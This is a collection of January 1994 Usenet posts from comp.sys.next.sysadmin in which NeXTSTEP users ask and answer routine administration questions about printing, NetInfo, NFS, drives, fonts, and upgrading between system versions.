From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Novell printer forms
Message-ID: <KN2KBAVI@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
Date: Fri, 14 Jan 1994 18:19:08 GMT
Hello,
we have got a Netware 3.11 server running with
some printers attached. The print queues have
some form mounted (102, but that's not essential)
that is NOT the default form 0. The admin did it,
to prevent users from printing plain ascii,...
Therefore I need some possibility to specify the
Novell print form in the NetInfo /printers directory.
Is there any such entry like nqs, nqn, and nps?
I can specify NetwareQueueServer==nqs,
NetwareQueueName==nqn, NetwarePrintServer==nps,
but I need something like NetwarePrintForm.
Should someone know something, I would be glad
to hear about it.
Thanks, Stephan
--
trebels@theo-phys.gwdg.de
From: gerti@tms-gmbh.de (Gerd Knops)
Newsgroups: comp.sys.next.sysadmin
Subject: AudioCDs on NSFIP; Reading sound data from AudioCDs
Date: 14 Jan 1994 13:22:50 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401141905.AA13378@Cranach.tms-gmbh.de>
Since many people asked for that, I finally decided to write an App,
that enables you to read sound data from an AudioCD and store it in
the NeXT .snd format.
But before I can do so, I have to find a way around my machine always
throwing out all AudioCDs. I know about the ways to make CDPlayer.app
work, but:
Did anybody succeed to make CDPlayer.app work on NSFIP?
To me it seems, that the file 'audio_reloc' is missing in all the
NSFIP-distributions (3.1 & 3.2). And therefore it checks the disk,
can't read the format, and throws it out again...
Or, as a workaround, does anybody have an idea, how to disable the
'autochecking' on the CDROM (other than powering up the drive after
booting NEXTSTEP, my drive is internal, so this would be a pain in
the a..)
Gerd
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Newsgroups: comp.sys.next.sysadmin
Subject: PNI 1.6 in server mode.
Date: 14 Jan 1994 19:34:35 GMT
Organization: Royal Institute of Technology, Stockholm, Sweden
Distribution: world
Message-ID: <2h6s4c$25q@news.kth.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Im trying to set up PNI 1.6beta as a SLIP-server. Would some kind soul
tell me how to use the file PNILOGIN. It is PNILOGIN that will start
SLIP for incoming calls, is it??? (or not! That is the Question :)
David Wallin.
d91-elu@nada.kth.se
From: pakala@sdl.egr.uh.edu (Rama R. Pakala)
Newsgroups: comp.sys.next.sysadmin
Subject: "Editing Disabled" when dialing in with modem - please repost solution.
Date: 14 Jan 1994 21:23:19 GMT
Organization: University of Houston
Message-ID: <2h72g7$k1p@menudo.uh.edu>
Hi,
About a month ago, a poster had suggested a solution to the problem I had been facing
for some time when I dial in to my NeXT machine. I had unfortunately neglected to save
the posting. Could some kind soul mail me the solution.
AdvThanksance,
(That is Thanks "in" Advance, folks!!)
Rama.
--
Rama Rao Pakala, Systems Design Laboratory, W224-D3, College of Engineering,
University of Houston
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To do is to be - Sigmund Freud
Dooby, dooby, do - Frank Sinatra
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: system 2.1 -> 3.2 - Do I need it? Advise sought... :-)
Date: 14 Jan 1994 20:40:38 GMT
Organization: Brown University
Message-ID: <2h7006$iip@cat.cis.Brown.EDU>
References: <CJJDGz.4LA@noose.ecn.purdue.edu>
[...stubborn person running 2.1...]
>If you have any comments, I'd appreciate hearing them, after you
>stop laughing at my "pre-historic" configuration :-)
I actually suspect there are a lot more of us running NS 2.1 or 2.2
than the net traffic would indicate. Think about it: what we have
works, and we have self-selected not to worry about new apps that we
can't run; therefore, we tend not to be very active on threads about
all the nifty new bugs and compatibility problems....
I haven't seen a rundown of the pros and cons of different versions
of NS for black hardware anywhere, and I think there should be a
single source somewhere for those of us who periodically weigh the
pros and cons of upgrading. I'll start the file off; anyone with
anything to add, please do. When it stabilizes, we'll get someone
to put it in the FAQ.
NEXTSTEP VERSIONS FOR BLACK HARDWARE -- or should I upgrade?
NS 0.8, NS 0.9, NS 1.0, NS 1.0a
I hope there is no one still running any of these, but I'm curious to
hear if I'm wrong!
Advantages of staying put:
* Can't afford the media cost of the free upgrade (???)
Advantages of moving on:
* Decent file viewer -- this is enough!
NS 2.0, NS 2.1, NS 2.2
I know that 2.1 fixed a floating-point bug in 2.0 that caused the
hyperbolic tangent function to misbehave; I seem to recall there were
other little bug fixes, but don't remember what. Someone who does,
please fill in here. No idea what 2.2 has; I'm running 2.1.
Advantages of staying put:
* Icon.app breaks in all subsequent releases; IconBuilder is a
lame substitute.
* The fast version of "find" (from hash-table) is broken in 3.0.
* The Webster's changed format somehow, which breaks the nifty
command-line version called "define" (on the archives).
* All indexes from Digital Librarian must be rebuilt for 3.x.
* Write-Now is unbundled in later releases.
* System performance on monochrome machines is unexcelled;
scrolling especially is very noticeably better than in 3.0.
* The 2.x icons are prettier in monochrome (MHO) than the new
3.0 ones.
Advantages of moving on:
* Much improved color support in 3.x.
* Renderman
* Workspace niceties, including file-compression, better viewing
of the progress of file copying...what else?
* More emacs-like features in Edit.app
* InterfaceBuilder split into IB and ProjectBuilder; lots of
useful new tools, I'm told.
* BackSpace becomes built-in functionality; also, the login
screen has more screensaver defaults to set.
* Almost nothing new compiles under 2.x; right now the big holes
among PD/freeware/shareware apps are:
Net apps: Mosaic.
System apps: DarkForest, Informer.app, MonsterSomething
Games: GoldDigger, Xoxeroids and Rocks.
Of course the latest commercial versions are also often NS 3.x
only -- e.g., NXFax after v1.02.
[Preliminary list: someone who knows what he's talking about,
please edit and elaborate upon this!]
NS 3.0
The 2.x versus 3.0 war should be fought above; this is for those with
3.0 who are considering 3.1/3.2.
Advantages of staying put:
* Don't like User/Developer split; don't want to pay $$$ to
hang on to developer tools.
* Bug in 3.1 slowly fills process table, requiring periodic
reboots.
* Problems with driving serial ports under 3.1...or is that
only on Intel hardware?
* Loginscreen changed its format; have to get rid of any fancy
ones you may have installed.
Advantages of moving on:
* Somewhat faster.
* MAB support.
NS 3.1
User and Developer versions are now unbundled; to compare apples with
apples, we assume that you have the full release. Also, now there is
compatibility with Intel hardware to contend with.
Advantages of staying put:
* Are there any, besides price?
Advantages of moving on:
* FileMerge.
* Bug fixes -- details?
* What else?
Here about the beach I wander'd, |============================
Nourishing a youth sublime | Joshua Burton (401)435-6370
With the fairy tales of science, | burton@het.brown.edu
And the long result of Time. -- Tennyson |============================
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Newsgroups: comp.sys.next.sysadmin
Subject: Will a Fujitsu M2266SA 1.2GB drive work?
Date: 14 Jan 1994 22:13:17 GMT
Organization: Department of Biological Sciences, Stanford University
Distribution: world
Message-ID: <MAGNUS.94Jan14141317@fisher.Stanford.EDU>
I have a Fujitsu M2266SA 1.2GB hard drive and an EXABYTE 8200 together
in a unit from R^2. It is presently hooked up to a Sparc. Can I just
take it off, and hook it to a black NeXT running 3.2? Any problems
with either device? Do I need to re-format the disk?
Thanks,
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail welcome)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: How Install Adobe Fonts on NS/FIP?
Date: 14 Jan 1994 22:47:38 GMT
Organization: University of Maryland, College Park
Message-ID: <2h77ea$fi5@cville-srv.wam.umd.edu>
Hi,
This is I hope simple. I have the Adobe Type
Library (4 fonts for Next) and the Adobe Font
Installer. Now that I'm going Intel, and the
Installer is not FAT version, how do I install
the fonts on the Intel machine? I've forgotten
the exact command-line procedures for creating
various font directories needed.
Thanks
R. de Lucca
Johns Hopkins University
From: Ward_Travis@transarc.com
Newsgroups: comp.sys.next.sysadmin
Subject: 0x14 trap ?
Date: Fri, 14 Jan 1994 19:38:55 -0500
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <IhBngTv0Bww89Tz1sy@transarc.com>
Please let me know if this panic is to be expected (a known bug) or,
otherwise, how I might go about nailing it down.
Configuration: 68030 Cube, NS 3.0, 12Mb RAM (mixed non-parity and parity ...)
This occurs: when I try to BuildDisk onto the OD
The panic:
Jan 8 23:39:23 rubik mach: called from pc 04073cc8 fp 10f4cf7c 4-args 0409920d 00000001 0000003c 00000008
Jan 8 23:39:23 rubik mach: called from pc 0401341e fp 10f4cfb4 4-args 0000003c 00000008 0409920d 040992d2
Jan 8 23:39:23 rubik mach: called from pc 04013262 fp 10f4cff4 4-args 0409920d 040992d2 00000000 00000000
Jan 8 23:39:23 rubik mach: called from pc 0401317a fp 10f4cffc 4-args 00000000 040a27e0 040a27e0 00000002
Jan 8 23:39:23 rubik mach: called from pc 040a27e0 fp 00000000 4-args 040a27e0 00000002 00002304 80000000
Jan 8 23:39:23 rubik mach: last fp 0x0
Jan 8 23:39:23 rubik mach: panic: (Cpu 0) zero divide
Jan 8 23:39:23 rubik mach: NeXT ROM Monitor 1.0 v41
Jan 8 23:39:23 rubik mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28
PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Thanks.. for ANY advice..
--
Ward C. Travis Pittsburgh PA USA "The fact is the sweetest dream that
travis@transarc.com (412) 338 4388 labor knows." - R. Frost
From: pud!psl@bellcore.bellcore.com (Peter Langston)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Indexing WriteNow-Files
Date: 14 Jan 1994 20:21:00 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401150101.AA01029@pud>
In article <1994Jan12.084712.27955@ifi.unizh.ch> reinhard@avalon.unizh.ch
(Peter Reinhardt) wrote:
I am trying to (re-)index a large amount of Writenow-files with Digital
Librarian (i.e. the WingZ Documentation). But it does not function.
... [munched] ...
To which kiwi@belly.in-berlin.de (Axel Habermann) replied:
Extract the following and put the result into /LocalLibrary/Services.
It provides a service which enables Librarian to read WriteNow-files.
... [munched] ...
Be sure you have /NextApps/WriteNow.app/wn-rtf.
To which I (psl) say:
I do have wn-rtf, but I don't have /usr/local/bin/rtf-ascii
(which is also required by wn2rtf.service/wn-ascii).
Where can I find a copy of rtf-ascii?
---------- Peter Langston -- psl@acm.org -- Seattle, WA ----------
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Is there a dwrite for the 3.2 screensaver ?
Date: 14 Jan 1994 08:56:26 +0100
Organization: Palumbian Research Labs
Message-ID: <2h5j7a$13o@marsu.tynet.sub.org>
References: <CJJC89.BtC@cnsnews.Colorado.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
buster@rintintin.Colorado.EDU (Paul Buster) writes:
>is there a dwrite or some other way to have the
>NS 3.2 screensaver (NeXT logo and hostname on the
>black screen) kick in a little quicker ?
'dwrite loginwindow TimeToDim 60' should set it to a minute.
Other settings are explained in the NS FAQ.
--
Marsu: "Es gibt tatsaechlich Leute, die ohne Computer gluecklich und
zufrieden leben." -- Frankie: "Ach was, die emulieren das doch nur!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
From: chin@chestnut.chem.upenn.edu (Chin Wu)
Newsgroups: comp.sys.next.sysadmin
Subject: npd problem experienced under Nextstep 3.2 for Nextstation
Message-ID: <CHIN.94Jan14223524@chestnut.chem.upenn.edu>
Date: 15 Jan 94 03:35:24 GMT
Organization: Chemistry Dept. U. of Pennsylvania, Philadelphia, Pennsylvania,
USA
Hello:
Ever since I upgrade to 3.2, I can't print by clicking the print
menu anymore. The console said: "Jan 14 22:15:02 localhost npd[162]:
/usr/lib/NextPrinter/npd-lpr of exited status = 1".
However, print by "npd-lpr filename" or Test in PrintManager works
fine. I am using the djf-3.0 printer driver from the archive and it
works great when I using 3.1.
Can anyone help?
--
chin@chestnut.chem.upenn.edu
From: lusty@lusty.tamu.edu (Lusty Wench)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How Install Adobe Fonts on NS/FIP?
Date: 15 Jan 1994 03:37:56 GMT
Organization: Me
Message-ID: <2h7oek$4qk@news.tamu.edu>
References: <2h77ea$fi5@cville-srv.wam.umd.edu>
In article <2h77ea$fi5@cville-srv.wam.umd.edu>,
L. Anathea Brooks <gaia@wam.umd.edu> wrote:
>Hi,
>
>This is I hope simple. I have the Adobe Type
>Library (4 fonts for Next) and the Adobe Font
>Installer. Now that I'm going Intel, and the
>Installer is not FAT version, how do I install
>the fonts on the Intel machine? I've forgotten
>the exact command-line procedures for creating
>various font directories needed.
This may be a little overkill, but due to my...
intriguing....telephone voice I was lucky enough
to have someone build me a special fat version
of the Adobe font installer ;)
If you like, I can send you a copy of it.
Lusty
hehhee....then he addressed it to "Lusty W. Shoemaker" *cackle*
the poor Federal Express delivery-droid was kind of confused ;)
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removable Media Ownership
Date: 15 Jan 1994 06:02:37 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2h80tt$ce2@usenet.rpi.edu>
References: <2h26l3$1db@nermal.cs.uoguelph.ca>
devans@herman.cs.uoguelph.ca (David F Evans) writes:
> I know that when you insert some removable media NeXTSTEP makes
> the current user the owner of all the files. Is owner information
> actually stored for the NeXT file system and then subsequently
> ignored or os it never written? Not that it makes a whole lot
> of difference but I was wondering.
It isn't written. Or rather, it's written as if root/wheel created
the file (or directory), and then that information is ignored.
Also, it is not a question of removable media. It's a question of
how the drive is mounted. If the automounter mounts something
(*anything*), then you'll get this behavior. If the mount command
is used (usually via /etc/fstab for hard drives), then the real
information will be written to the disk, and reflected in the
file system.
My first paragraph is significant due to that. If you have
a file system which is automounted, the information for newly
created files will be (on the disk itself) root/wheel. However
the file system will (while it is auto-mounted) act as if the
owner is the unix userid which is currently logged in at the
console. If you then take that disk and mount it via the
standard /usr/etc/mount command, the owner and group info
*will* be honored, but that info will be for root/wheel, and
not the userid/group which actually created the files.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
Newsgroups: comp.sys.next.sysadmin
Subject: NEXTSTEP machines are becoming sloooow.. Help!
Date: 15 Jan 1994 08:22:16 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2h893p$720@usenet.INS.CWRU.Edu>
Hello
We have a network of three Intel machines and one NextStation. All are
configured with local netinfo. Lately all the machines are becoming very
slow. When I did a ps -aux on these, I noticed that the 'netinfod local'
process is using up most of the cpu time as well as the memory. There
seems to be heavy disk activity during this time on all the machines. But
I am unable to find what exactly is happenning. On the NextStation when
booting it gives an error "veda syslog:netinfo error:0". This I suspect
happened because one of my colleague was setting up the machine as a SLIP
server. No other error messages on the other machines. I did not find
anything unusual in netinfo in any of the machines. Yesterday I noticed
that a 31MB 'core' file was created in /etc/netinfo directory.
Does anybody know what is happenning? We have been unable to use the
machines for long because of this problem. Any help is appreciated.
I can provide any other details.
Thanks
Ramesh
Output of ps -aux:
=================================================================
NextStation:veda
veda:8# ps -aux
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root 64 43.9 67.4 23.3M 21.6M ? S 30:05 /usr/etc/netinfod
local <==
root 63 7.5 0.9 1.45M 280K ? S 6:15 (nibindd)
root 317 6.1 2.2 1.96M 712K p1 R 0:00 ps -aux
...................
Intel 486:venus
venus:/> ps -aux
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root 102 71.3 60.1 21.0M 19.2M ? R 155:28 /usr/etc/netinfod
local <==
root 0 6.3 15.6 51.2M 5.00M ? R N 103:58 (kernel idle)
root -1 3.8 15.6 51.2M 5.00M ? U 13:05 <mach-task>
............................
Intel 486: guru
guru:/usr/mars/MARS/V0.9/Src> ps -aux
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root 104 75.9 27.0 25.5M 8.64M ? R 165:29 /usr/etc/netinfod
local <==
root 0 6.8 15.3 51.2M 4.90M ? R N 128:19 (kernel idle)
......................
======================================================================
Newsgroups: comp.sys.next.sysadmin
From: ml@tsiny.psca.com
Subject: compiling dsql v3 from Genetech
Message-ID: <1994Jan14.191455.28824@tsiny.psca.com>
Sender: usenet@tsiny.psca.com
Organization: TSI of New York, Inc.
Date: Fri, 14 Jan 1994 19:14:55 GMT
Dear all,
Has anyone compiled DSQL from Genetech for NS Moto? Before I spend the
effort I thought I would check.
thanks in advance
mark
--
Mark LeScoezec TSI of NY, Inc.
System Administrator (212)850-8135
ml@ny.psca.com 666 Third Ave
NeXTmail okay NY, NY 10017
From: lam@mrcnext.cso.uiuc.edu (Ken Lam)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Adaptec 1542b + Seagate drives?
Date: 15 Jan 1994 15:34:04 GMT
Organization: University of Illinois at Urbana
Message-ID: <2h92dc$ag0@vixen.cso.uiuc.edu>
References: <qBH6Fc1w165w@mindvox.phantom.com>
ian@mindvox.phantom.com (Ian Bainbridge) writes:
[stuff deleted]
>
>Here's a question..... WTF? Why do some utilities in NS such as buildisk
>find the right amount of free space and attempt to utilize it, while other
>parts can't deal with it. Where does the problem lie, is there some kind
>of known problem with Adaptec 1542b's and 1.2gb seagate disks? I can't
>even access the disk now, it appears completely trashed and brings back
>all those good memories of trying to attach SCSI disks to black hardware
>which worked fine with Suns, Decs and SGI's, only to go into space on the
>cubes. The main difference here is that the disk did work initially, kind
>of, and builddisk understood what the disk was and its true capacity.
>
>Any suggestions? I am probably going to mount the disk on a Sun, do a low
>level format and try again, but this is getting very frustrating (yes, the
>SCSI ID is set, it is terminated and works fine on at least Sun machines and
>HP's, which its been hooked up to).
The BIOS on the 1542B must be 3.2x or greater to use more than 1 GB. I don't
know if yours is or if NS/I bypasses the BIOS. But I would imagine that could
the problem. I've had a Seagate 1.2GB installed on a 1542B with no problems.
Ken
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Indexing WriteNow-Files
Message-ID: <1994Jan15.143132.947@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <9401150101.AA01029@pud>
Date: Sat, 15 Jan 1994 14:31:32 GMT
In article <9401150101.AA01029@pud> pud!psl@bellcore.bellcore.com (Peter
Langston) writes:
> I do have wn-rtf, but I don't have /usr/local/bin/rtf-ascii
> (which is also required by wn2rtf.service/wn-ascii).
> Where can I find a copy of rtf-ascii?
In /usr/bin.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: armes@pioneer.tds.com (Jim Armes)
Newsgroups: comp.sys.next.sysadmin
Subject: Accessing dos partitions & drives
Date: 14 Jan 1994 19:52:57 GMT
Organization: Trident Data Systems
Message-ID: <2h6t6p$9ra@discovery.ectds.com>
Keywords: dos msdos nextstep NFIP 486
I tried last night to mount my dos partition ( 2nd partition on a 528 IDE
drive) while in next. I tried several different devices in dev, including
/dev/hd0b & /dev/rhd0b (they looked the most obvious) as well as playing
with the other 'hds' and it wouldn't mount it. Has anyone been playing
with this? I had ass-u-med that since I could mount a dos partition in
other unixes (ie, Linux) that I should be able to mount it here.
I have 3.1 coexisting with dos 6.2 on a pentium.
Mail or post
Thanx,
--
#--------------------------------------------------------#
# Jim Armes | I got a Pentium & you don't, nah #
# | nah nah nah nah... #
# | #
#Trident Data Systems| but IiiiiM a lumberjack and I'm ok#
# armes@ectds.com |I sleep all night & I work all day.#
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <Neil@bMD.com>
Subject: Re: Indexing WriteNow-Files
Message-ID: <1994Jan15.163156.12649@bMD.com>
Sender: neil@bMD.com (Neil Greene)
Organization: benchMark Developments, Inc. (Lex., KY)
References: <9401150101.AA01029@pud>
Date: Sat, 15 Jan 1994 16:31:56 GMT
In article <9401150101.AA01029@pud> pud!psl@bellcore.bellcore.com (Peter
Langston) writes:
> In article <1994Jan12.084712.27955@ifi.unizh.ch>
reinhard@avalon.unizh.ch
>
> (Peter Reinhardt) wrote:
> I am trying to (re-)index a large amount of Writenow-files with
Digital
> Librarian (i.e. the WingZ Documentation). But it does not function.
> ... [munched] ...
>
> To which kiwi@belly.in-berlin.de (Axel Habermann) replied:
> Extract the following and put the result into
/LocalLibrary/Services.
> It provides a service which enables Librarian to read
WriteNow-files.
> ... [munched] ...
> Be sure you have /NextApps/WriteNow.app/wn-rtf.
>
> To which I (psl) say:
> I do have wn-rtf, but I don't have /usr/local/bin/rtf-ascii
> (which is also required by wn2rtf.service/wn-ascii).
> Where can I find a copy of rtf-ascii?
>
> ---------- Peter Langston -- psl@acm.org -- Seattle, WA ----------
Now does anyone have anything to index FrameMaker files?
--
Neil Greene
benchMark Developments, Inc. [NeXT VAR]
2040 Regency Road, Suite C Lexington, KY 40503
Phone: 606-231-6599 / Fax: 606-254-4864
Email: Neil@bMD.com [NeXTmail]
--
Neil Greene
benchMark Developments, Inc. [NeXT VAR]
2040 Regency Road, Suite C Lexington, KY 40503
Phone: 606-231-6599 / Fax: 606-254-4864
Newsgroups: comp.sys.next.sysadmin
From: baker@keeper.journalism.indiana.edu (Don Baker)
Subject: FrameMaker does not print properly to HPLaserJet
Message-ID: <CJp3Hp.3qF@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Sat, 15 Jan 1994 23:49:00 GMT
I've set up two HP LaserJet4Si's connected via a DataPacific DirectNet card w/
TCPIP and PostScript. In the netinfo printers directory I've added the
_nxfinalform property so that all the fonts installed on our NeXTs will be
available to this printer.
I can print from all are applications (DataPhile, Diagram, WordPerfect,
Edit,etc) using any of our fonts. However, there is one application that fails
to behaive, and this one is FrameMaker. I am guessing that frame must not be
fully using the NeXT printing system. Has anyone an idea what might be causing
this and how it can be solved.
BTW, I've used Save on the print panel to save a print image of a Frame file
and then printed this Preview document without any luck.
--
Don Baker
Technical Services Coordinator
IU School of Journalism
Tel: (812) 855-4918
baker@journalism.indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Indexing WriteNow-Files
Message-ID: <1994Jan15.233254.3413@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan15.163156.12649@bMD.com>
Date: Sat, 15 Jan 1994 23:32:54 GMT
In article <1994Jan15.163156.12649@bMD.com> Neil Greene <Neil@bMD.com>
writes:
> Now does anyone have anything to index FrameMaker files?
>
Use the same basic service file as for WriteNow, but use
FrameMaker.app/frame-ascii.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: sela@iastate.edu (Brian J Morrison)
Newsgroups: comp.sys.next.sysadmin
Subject: I need /etc/ttys NS3.1 (can only download)
Date: 16 Jan 1994 00:49:54 GMT
Organization: Iowa State University, Ames, IA
Distribution: world
Message-ID: <2ha2vi$7rd@news.iastate.edu>
Subject says it all. I botched my /etc/ttys and need to find someone willing
to allow me to download it from their machine. (I can't do anything with it
if you email it to me). Thanks in advance.
Brian
sela@iastate.edu
--
Brian
sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Problems with NFS client
Message-ID: <westesCJp6I3.Hnu@netcom.com>
Organization: Mail Group
Date: Sun, 16 Jan 1994 00:54:03 GMT
I have problems getting my NFS clients to show up correctly.
NFS Exports work fine. NFS clients set to remote machines using the
root of a disk work fine. For example, importing:
mymachine
/g
works great.
But importing:
mymachine
/d/home/transfer
results in a local path of /Net/mymachine/d/home.
The transfer directory never shows up when I double click the home
directory.
What causes this behavior where the last part of the path does not
show up? I have the directory exported correctly, and this is
happening for every path on every machine I try to import via NFS.
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: PCNFSD under NS 3.2?
Message-ID: <westesCJp6p9.I0A@netcom.com>
Organization: Mail Group
Date: Sun, 16 Jan 1994 00:58:20 GMT
Are there any problems running PCNFSD under NS 3.2? Is there a
compiled version for NS 3.2 Intel anywhere?
--
Will Estes Internet: westes@netcom.com
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP broken after 3.2 upgrade!
Date: 15 Jan 1994 19:39:45 +0100
Organization: Palumbian Research Labs
Message-ID: <2h9d9h$9p@marsu.tynet.sub.org>
References: <2h4l01INNgua@corina.isi.com>
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langston@isi.com (Richard Langston x247) writes:
> A question for everyone. I upgraded my nextstation to 3.2, and now
>it insists on delivering all mail via ether. I'm not connected to anything,
>so dns can never find the hostnames. What's wrong? I've got the sendmail.cf
>file I used before....
Look into NetInfo and find out which sendmail.cf is actually used.
I always used to leave the NetInfo sendmail.cf path as it was and manually
linked sendmail.cf to my changed version.
If everything else fails, smail 3.1.28 compiles straightforward on the NeXT
and is an ideal replacement for sendmail on a standalone uucp site.
And the config files are much more readable!!
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zufrieden leben." -- Frankie: "Ach was, die emulieren das doch nur!"
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mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
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From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: color printer ppds needed
Message-ID: <CJp35D.760@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Distribution: world ba ca usa
Date: Sat, 15 Jan 1994 23:41:36 GMT
Where do I find ppds for any of the following:
HP 1200c ps option
Canon BJC-600 no ps option
QMS 1000 ?
Apple Color Printer ?
I have looked at the NeXT Color Printer and the black tends to bleed into
my colors. I know the Apple Color is the dsame, but it only cost $450.00.
Any help is appreciated.
Ian
PS where would one get bldppd42.ps?
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: moving junked articles to correct place?
Message-ID: <CJp3yx.79t@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Sat, 15 Jan 1994 23:59:21 GMT
Someone sent me a script that creates the groups for me when an article is
junked.
That was great (thanks Dennis). Now I want to put the articles in junk
where they belong. The problem I am having is that I get a "duplicate"
message in /usr/local/lib/news/log for each article (messgae-id problem).
How do I correct this? I am using cnews.
Thanks for any help.
ian
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Adding a remote printer
Message-ID: <westesCJpEDz.80z@netcom.com>
Organization: Mail Group
Date: Sun, 16 Jan 1994 03:44:23 GMT
I want to print from NS 3.2 to a MS-windows machine running an LPD
daemon. I went to dump the NetInfo database with:
nidump printcap .
and I got the error message:
Printer Local_Printer can't be represented in printcap format.
So how do I add a printcap entry?
Also, what's the format for the printcap entry. I was going to try
something like:
uschome|uschome printer:\
:lp=:\
:of=/usr/lib/lpdfilters/lpf:\
:mx#0:\
:rm=uschome:\
:rp=lpt3:\
:sd=/usr/spool/lpd:\
:lf=/usr/adm/lpd-errs:
What is the correct entry format?
--
Will Estes Internet: westes@netcom.com
From: yf5990@u.cc.utah.edu (Yan Fang)
Newsgroups: comp.sys.next.sysadmin
Subject: Outgoing posts' weird behavior
Date: 15 Jan 1994 22:54:50 -0700
Organization: University of Utah Computer Center, Salt Lake City, Ut.
Message-ID: <2hakra$a3a@u.cc.utah.edu>
All is nearly done in setting up my new Internet connection, except . . .
outgoing posts are garbled.
Here's the way it happens. I connect to the U. of U.'s cisco server over
CSLIP, use INN to retrieve articles (thanks, Scott Anguish!), and read them
locally using NewsGrazer 2.0, version 72.3. When I post a followup, the
outgoing post will display the text of the post, plus a couple of blank
lines and then about 2/3 of the last line of the post at the bottom, right
below my .signature.
I suspected inews, but I'm using Scott's inews, and he's not
having any problems with his outgoing posts. I suspected NewsGrazer, but I
got a new version of that and I have the same problems. I do have a custom
version of sendmail that tacks on the signature at the end, but my
outgoing mail doesn't exhibit that behavior.
Any ideas? I'm _that close_ to being able to use my nifty new SLIP connection.
Reply to <kris@alpine.com>.
From: andreas@dworkin.wustl.edu (Andreas D. Bovopoulos)
Newsgroups: comp.sys.next.sysadmin
Subject: Suggestions on CR-ROM Reader for NeXTstation
Message-ID: <62869@olympus.wustl.edu>
Date: 16 Jan 94 07:12:38 GMT
Sender: usenet@dworkin.wustl.edu
Distribution: usa
Organization: Chipcom Corporation
Do you have any suggestions of CR-ROM readers
which are not very expensive, would work
on NeXTstation and are better that the ones
that Next used to offer?
Any information on this subject would be appreciated.
Please send your suggestions to my e-mail address and
I will post a summary.
Thank you very much in advance
Andreas Bovopoulos
abovopou@chipcom.com
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Mounting a 2nd drive
Date: 16 Jan 1994 03:34:24 -0500
Organization: UUNET Technologies Inc, Falls Church, VA, USA
Distribution: na usa world
Message-ID: <2hau6gINN28p@rodan.UU.NET>
Keywords: drives mount external
I have added an external drive and I would like
to have my (Never Decreasing) swapfile run off that drive instead
of my internal drive. Does anybody know what I would have to edit
to make this possible? I assume it's something to do with
my mtab and fstab files..?
Current mtab:
------------
/dev/sd0a "/" 4.3 rw,noquota,noauto 0 1
autoNovellMount "/Net/NetWare" nfs ro,intr 0 0
empire:(autonfsmount[89]) "/Net" nfs ro,intr,port=688 0 0
